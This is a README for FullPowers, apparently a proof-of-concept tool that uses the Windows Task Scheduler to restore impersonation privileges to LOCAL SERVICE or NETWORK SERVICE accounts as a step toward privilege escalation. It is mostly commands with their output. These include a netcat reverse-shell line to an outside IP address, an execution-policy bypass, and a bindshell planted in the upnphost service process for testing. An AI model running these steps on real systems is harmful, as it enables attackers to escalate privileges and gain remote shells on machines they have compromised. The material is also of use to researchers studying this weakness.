Recover the default privilege set of a LOCAL/NETWORK SERVICE account
FullPowers is a Proof-of-Concept tool I made for automatically recovering the default privilege set of a service account including SeAssignPrimaryToken and SeImpersonate.
On Windows, some services executed as
LOCAL SERVICEor
NETWORK SERVICEare configured to run with a restricted set of privileges. Therefore, even if the service is compromised, you won't get the golden impersonation privileges and privilege escalation to
LOCAL SYSTEMshould be more complicated. However, I found that, when you create a scheduled task, the new process created by the Task Scheduler Service has all the default privileges of the associated user account (except SeImpersonate). Therefore, with some token manipulations, you can spawn a new process with all the missing privileges.
For more information: https://itm4n.github.io/localservice-privileges/
:warning: This tool should be executed as
LOCAL SERVICEor
NETWORK SERVICEonly.
You can check the help message using the
-hoption.
c:\TOOLS>FullPowers -hFullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments: -v Verbose mode, used for debugging essentially -c Custom command line to execute (default is 'C:\Windows\System32\cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved.C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
You want to test this PoC yourself? That's great! Here are some simple instructions to get you started.
The overall idea is to start a bindshell from the process of an existing service, connect to it and then run the executable.
upnphost.
C:\TOOLS>RunFromProcess-x64.exe C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\WINDOWS\system32>whoami nt authority\local service
C:\WINDOWS\system32>whoami /priv
Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
6. We can see that the current process has no impersonation privileges. Now run the PoC...c:\TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows Version 10.0.19041.84 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami nt authority\local service
C:\WINDOWS\system32>whoami /priv
Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled ```
You should now have a shell with impsersonation privileges!